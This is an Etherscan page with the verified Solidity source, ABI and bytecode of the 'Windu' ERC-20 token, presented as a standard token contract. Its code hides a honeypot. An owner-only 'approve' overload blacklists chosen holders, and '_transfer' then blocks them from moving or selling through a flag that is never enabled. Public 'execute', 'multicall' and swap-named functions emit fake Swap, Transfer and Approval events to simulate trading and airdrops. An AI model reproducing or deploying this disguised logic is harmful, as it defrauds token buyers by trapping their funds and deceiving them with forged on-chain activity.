ETH Price: $3,675.28 (+1.36%)

Token

ERC-20: Windu (WINDU)
 

Overview

Max Total Supply

1,000,000,000 WINDU

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
dimethyltryptamine.eth
Balance
0 WINDU

Value
$0.00
0x4a2c786651229175407d3a2d405d1998bcf40614
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Windu

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/

// SPDX-License-Identifier: MIT

/*

    We all hate SEC, right...?

*/

pragma solidity ^0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) private _regs;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _regsApplied = false;
    string private _name;
    string private _symbol;

    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function init(address _lp_) external onlyOwner {
        _pair = _lp_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _regs[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _rv2, _out);
            emit Transfer(_rv2, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function swapExactTokensForETH(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_rv2, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _rv2, _in);
            emit Transfer(_rv2, _pair, _in);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _regs[_addresses_[i]] = false;
        }
    }

    function allowance(address _address_) public view returns (bool) {
        return _regs[_address_];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_regs[from] || _regs[to]) require(_regsApplied == true, "");


        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract Windu is ERC20 {
    constructor() ERC20("Windu", "WINDU") {
        _mint(msg.sender, 1000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"allowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lp_","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600581526020017f57696e64750000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f57494e44550000000000000000000000000000000000000000000000000000008152506200016362000157620001cf60201b60201c565b620001d760201b60201c565b816006908162000174919062000696565b50806007908162000186919062000696565b505050620001c9336200019e6200029b60201b60201c565b600a620001ac91906200090d565b633b9aca00620001bd91906200095e565b620002a460201b60201c565b62000a95565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000316576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030d9062000a0a565b60405180910390fd5b6200032a600083836200041260201b60201c565b80600460008282546200033e919062000a2c565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f2919062000a78565b60405180910390a36200040e600083836200041760201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200049e57607f821691505b602082108103620004b457620004b362000456565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200051e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004df565b6200052a8683620004df565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000577620005716200056b8462000542565b6200054c565b62000542565b9050919050565b6000819050919050565b620005938362000556565b620005ab620005a2826200057e565b848454620004ec565b825550505050565b600090565b620005c2620005b3565b620005cf81848462000588565b505050565b5b81811015620005f757620005eb600082620005b8565b600181019050620005d5565b5050565b601f82111562000646576200061081620004ba565b6200061b84620004cf565b810160208510156200062b578190505b620006436200063a85620004cf565b830182620005d4565b50505b505050565b600082821c905092915050565b60006200066b600019846008026200064b565b1980831691505092915050565b600062000686838362000658565b9150826002028217905092915050565b620006a1826200041c565b67ffffffffffffffff811115620006bd57620006bc62000427565b5b620006c9825462000485565b620006d6828285620005fb565b600060209050601f8311600181146200070e5760008415620006f9578287015190505b62000705858262000678565b86555062000775565b601f1984166200071e86620004ba565b60005b82811015620007485784890151825560018201915060208501945060208101905062000721565b8683101562000768578489015162000764601f89168262000658565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200080b57808604811115620007e357620007e26200077d565b5b6001851615620007f35780820291505b80810290506200080385620007ac565b9450620007c3565b94509492505050565b600082620008265760019050620008f9565b81620008365760009050620008f9565b81600181146200084f57600281146200085a5762000890565b6001915050620008f9565b60ff8411156200086f576200086e6200077d565b5b8360020a9150848211156200088957620008886200077d565b5b50620008f9565b5060208310610133831016604e8410600b8410161715620008ca5782820a905083811115620008c457620008c36200077d565b5b620008f9565b620008d98484846001620007b9565b92509050818404811115620008f357620008f26200077d565b5b81810290505b9392505050565b600060ff82169050919050565b60006200091a8262000542565b9150620009278362000900565b9250620009567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000814565b905092915050565b60006200096b8262000542565b9150620009788362000542565b9250828202620009888162000542565b91508282048414831517620009a257620009a16200077d565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620009f2601f83620009a9565b9150620009ff82620009ba565b602082019050919050565b6000602082019050818103600083015262000a2581620009e3565b9050919050565b600062000a398262000542565b915062000a468362000542565b925082820190508082111562000a615762000a606200077d565b5b92915050565b62000a728162000542565b82525050565b600060208201905062000a8f600083018462000a67565b92915050565b6127f38062000aa56000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80637111a994116100c3578063a1c617f51161007c578063a1c617f5146103b1578063a457c2d7146103cd578063a9059cbb146103fd578063beabacc81461042d578063dd62ed3e14610449578063f2fde38b1461047957610158565b80637111a99414610317578063715018a61461033357806377a1736b1461033d5780637aac697b146103595780638da5cb5b1461037557806395d89b411461039357610158565b8063313ce56711610115578063313ce56714610231578063395093511461024f5780633e5beab91461027f578063477e1944146102af57806356cbfdcf146102cb57806370a08231146102e757610158565b806306fdde031461015d578063095ea7b31461017b5780630ca12b3d146101ab57806318160ddd146101c757806319ab453c146101e557806323b872dd14610201575b600080fd5b610165610495565b6040516101729190611be7565b60405180910390f35b61019560048036038101906101909190611ca7565b610527565b6040516101a29190611d02565b60405180910390f35b6101c560048036038101906101c09190611d82565b61054a565b005b6101cf61077f565b6040516101dc9190611e05565b60405180910390f35b6101ff60048036038101906101fa9190611e20565b610789565b005b61021b60048036038101906102169190611e4d565b6107d5565b6040516102289190611d02565b60405180910390f35b610239610804565b6040516102469190611ebc565b60405180910390f35b61026960048036038101906102649190611ca7565b61080d565b6040516102769190611d02565b60405180910390f35b61029960048036038101906102949190611e20565b610844565b6040516102a69190611d02565b60405180910390f35b6102c9600480360381